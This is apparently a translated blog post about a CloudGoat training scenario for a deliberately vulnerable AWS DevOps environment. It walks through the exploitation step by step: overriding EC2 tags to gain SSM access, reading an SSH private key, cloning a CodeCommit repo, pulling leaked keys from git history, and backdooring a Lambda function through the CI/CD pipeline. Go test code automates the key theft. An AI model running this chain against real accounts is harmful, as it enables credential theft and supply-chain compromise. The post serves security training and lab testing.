构建易受攻击的AWS DevOps环境:CloudGoat场景实战

本文详细介绍了如何利用CloudGoat构建一个包含静态凭证和供应链安全元素的易受攻击AWS DevOps环境,并通过实战演练展示从初始权限提升到最终数据窃取的全过程。

实现易受攻击的AWS DevOps环境作为CloudGoat场景

CloudGoat:易受攻击的AWS环境

CloudGoat是一个开源项目,包含一系列易受攻击的AWS环境,可以通过Python封装的Terraform在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。

例如,您可以使用以下命令在AWS账户中启动cicd场景:

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python cloudgoat.py create cicd

此命令将运行Terraform来启动基础设施,并显示开始使用的说明。通常,它会输出一组AWS凭证作为起点。

贡献新的CloudGoat场景

直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp是一家公开暴露API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据:

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POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/html

superSecretData=...

该API通过API Gateway暴露为Lambda函数实现。由于FooCorp实施DevOps,它有一个持续部署管道,可以在几分钟内自动将Lambda函数的新版本从源代码部署到生产环境。

您的任务(如果您选择接受):您将获得一个权限不足的IAM用户的初始AWS凭证集。您的目标是窃取提交到FooCorp API的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。

该场景包含:

  • 3个IAM用户
  • 1个VPC,其中包含私有子网中的EC2实例
  • 用于实现API的组件:
    • 1个API Gateway
    • 1个Lambda函数
    • 1个ECR仓库
  • 用于实现持续部署管道的组件:
    • 1个CodePipeline管道
    • 2个CodeBuild项目
    • 1个CodeCommit仓库

利用演练

当我们通过python3 cloudgoat.py create cicd实例化场景时,我们会获得一个初始的AWS IAM访问密钥:

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[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....

我们可以使用aws-vault设置环境变量:

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$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault

# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session

# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session

我们以名为ec2-sandbox-manager的用户身份进行身份验证,该用户具有IAM策略,允许我们管理标记为Environment=dev的EC2实例的标签,并对具有Environment=sandbox的实例执行任何SSM操作。

有一个EC2实例正在运行,标记为Environment=dev。我们的IAM策略不允许我们通过AWS SSM Session Manager访问该实例。但是,我们确实有权限覆盖用于访问控制的Environment标签。

然后我们可以访问EC2实例:

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$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829

Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)

在我们身份验证的用户的主目录下,我们找到一个SSH私钥:

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$ cd
$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApn/Tcy
...

通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较,我们注意到被盗的私钥属于名为cloner的IAM用户:

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$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11

$ aws iam list-ssh-public-keys --user-name cloner
{
  "SSHPublicKeys": [
    {
      "UserName": "cloner",
      "SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ",
      "Status": "Active",
      "UploadDate": "2021-12-27T10:34:19+00:00"
    }
  ]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' 
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66

该用户恰好对CodeCommit仓库具有codecommit:GitPull权限。使用CodeCommit文档,我们可以将仓库克隆到本地机器:

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chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')

cat >> .ssh/config <<EOF
Host *.amazonaws.com
  IdentityFile ~/.ssh/stolen_key
EOF

git clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api

现在我们有了应用程序的源代码!

源代码中没有什么有趣的内容。但是,如果我们查看Git提交历史,有一个提交引起了我们的注意:

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39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml

分析此提交的差异(git show f1cb341)揭示了一些泄露的AWS凭证!

使用这些凭证进行AWS身份验证,我们注意到我们刚刚泄露了IAM用户developer的凭证,该用户具有codecommit:GitPushcodecommit:PutFile权限。

我们现在可以使用CodeCommit UI对应用程序进行后门操作,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将其秘密数据记录到其日志(CloudWatch日志组/aws/lambda/backend-api)中。我们还可以对应用程序进行后门操作,使其在每个请求上将秘密数据发送到远程攻击者控制的服务器 - 或者不接触应用程序代码,而是对Docker镜像本身进行后门操作。

一旦我们执行了恶意提交,CodePipeline管道就会获取我们的更改并开始将其推出到生产环境:

几分钟后,我们成功地对应用程序进行了后门操作,并捕获了标志!

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START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643

使用端到端测试进行持续测试

如前所述,此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码非平凡。我们如何获得高度信心,确信它持续按预期工作?回想一下,在我们的上下文中,工作意味着处于可通过预期步骤利用的状态。

我们利用了Terratest,这是一个用于测试Terraform代码的Go库。更具体地说,我们编写了如下工作的Go测试:

  1. 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
  2. 从我们的Go测试中,对FooCorp API发送实际的HTTP请求,以确保其已正确部署。
  3. 仍然从我们的Go测试中,以编程方式执行利用步骤,一步一步。
  4. 测试结束后,销毁我们通过Terraform代码配置的基础设施。

然后我们可以使用go test运行我们的测试,无论是手动还是自动在每个拉取请求上。以下是“代码形式的利用步骤”的样子:

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func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {
  // 在实例上执行SSM命令以窃取SSH私钥
  ssmClient := ssm.NewFromConfig(test.awsConfig)
  result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{
    DocumentName: aws.String("AWS-RunShellScript"),
    InstanceIds:  []string{instanceId},
    Parameters: map[string][]string{
      "commands": {"cat /home/ssm-user/.ssh/id_rsa"},
    },
  })
  test.assert.Nil(err, "Unable to send SSM command to instance")

   // 等待SSM命令的输出
  commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{
    CommandId:  result.Command.CommandId,
    InstanceId: &instanceId,
  }, 2*time.Minute)
  test.assert.Nil(err, "failed to retrieve SSM command output")

  // 我们成功窃取了SSH私钥
  return *commandOutput.StandardOutputContent
}
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--- PASS: TestScenario (248.47s)
PASS
ok    github.com/cloudgoat/tests/supply-chain-security  249.070s

结论

我鼓励您尝试这个场景!更一般地说,CloudGoat有一组有价值的实验室,包括许多真实的AWS漏洞。

您对这个场景有什么看法?您如何测试您的安全实验室?您希望在CloudGoat中看到什么?让我们在Twitter上继续讨论!

感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验!感谢您的阅读。

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